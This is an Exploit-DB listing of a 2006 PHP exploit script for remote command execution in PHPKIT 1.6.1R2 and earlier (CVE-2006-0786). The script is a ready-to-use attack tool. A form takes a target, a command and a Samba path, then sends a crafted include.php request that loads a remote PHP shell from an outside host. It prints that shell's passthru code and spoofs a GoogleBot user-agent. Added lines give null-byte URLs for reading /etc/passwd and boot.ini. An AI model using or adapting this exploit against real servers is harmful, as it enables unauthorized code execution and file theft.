PHPKIT <= 1.6.1R2 filecheck Remote Commands Execution Exploit

2006-02-16T00:00:00
ID EDB-ID:1501
Type exploitdb
Reporter rgod
Modified 2006-02-16T00:00:00

Description

PHPKIT <= 1.6.1R2 (filecheck) Remote Commands Execution Exploit. CVE-2006-0786. Webapps exploit for php platform

                                        
                                            &lt;?php
#  ---PHPKIT_161r2_incl_xpl.php                          4.27 16/02/2006       #
#                                                                              #
#           PHPKIT &lt;= 1.6.1R2 remote commands execution exploit                #
#                              coded by rgod                                   #
#                    site: http://retrogod.altervista.org                      #
#                                                                              #
#  -&gt; works with allow_url_fopen = On                                          #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can  #
#  see is the strategy out of which victory is evolved."                       #

#  also if magic_quotes_gpc = Off, you can view any file on target system by null
#  char injection:
#  http://[target]/[path]/include.php?path=/etc/passwd%00.php
#  http://[target]/[path]/include.php?path=c:\boot.ini%00.php 
#  4 lines above added /str0ke

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt;* PHPKIT &lt;= 1.6.1R2 remote commands execution exploit **
&lt;/title&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
&lt;style type="text/css"&gt; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;p class="Stile6"&gt;
* PHPKIT &lt;= 1.6.1R2 remote commands execution exploit ** &lt;/p&gt;&lt;p class="Stile6"&gt;a
script  by  rgod  at    &lt;a href="http://retrogod.altervista.org"target="_blank"&gt;
http://retrogod.altervista.org&lt;/a&gt; &lt;/p&gt; &lt;table  width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt;
&lt;form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'"&gt;    &lt;p&gt;&lt;input
type="text"  name="host"&gt; &lt;span class="Stile5"&gt;* target    (ex:www.sitename.com)
&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="text" name="path"&gt;  &lt;span class="Stile5"&gt;* path (ex:
/phpkit/ or just / ) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="cmd"&gt;          &lt;span
class="Stile5"&gt; * specify a command   &lt;/span&gt;   &lt;/p&gt;   &lt;p&gt;   &lt;input  type="text"
name="smb_location"&gt;&lt;span class="Stile5"&gt;* specify a Samba resource(ex: \\\\192.
168.1.2\\c\\path_to\\shell.php &lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;input   type="text" name="port"&gt;
&lt;span class="Stile5"&gt;specify  a  port other than  80 (default value)&lt;/span&gt; &lt;/p&gt;
&lt;p&gt;&lt;input   type="text" name="proxy"&gt;&lt;span class="Stile5"&gt; send  exploit through
an HTTP proxy (ip:port) &lt;/span&gt;  &lt;/p&gt;  &lt;p&gt;  &lt;input   type="submit" name="Submit"
value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border="0"&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
      for ($li=0; $li&lt;=15; $li++) {
        echo "&lt;td&gt;".htmlentities($headeri[$li+$ki])."&lt;/td&gt;";
		}
      $ki=$ki+16;
      echo "&lt;/tr&gt;&lt;tr&gt;";
    }
    if (strlen($datai)==1) {
      echo "&lt;td&gt;0".htmlentities($datai)."&lt;/td&gt;";
    }
    else {
      echo "&lt;td&gt;".htmlentities($datai)."&lt;/td&gt; ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo "&lt;td&gt;".htmlentities($headeri[$li])."&lt;/td&gt;";
  }
  echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.&lt;br&gt;";
  echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
  }
  else {
    echo "OK.&lt;br&gt;&lt;br&gt;";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:&lt;br&gt;";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "&lt;span class=\"Stile5\"&gt;";

if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($cmd&lt;&gt;'') and ($smb_location&lt;&gt;''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

  # STEP X -&gt; One and unique, arbitrary remote inclusion ...
  $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: GoogleBot 1.1\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
			               else {echo "Exploit failed...";}
}
else
{echo "Note: on \\\\someip\\path_to\\shell.php you need this code:&lt;br&gt;&lt;br&gt;";
 echo  nl2br(htmlentities("
        &lt;?php
        ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[CMD]);die;
        ?&gt;
        "))."&lt;br&gt;";
  echo "Fill * required fields, optionally specify a proxy...";}
echo "&lt;/span&gt;";
?&gt;

# milw0rm.com [2006-02-16]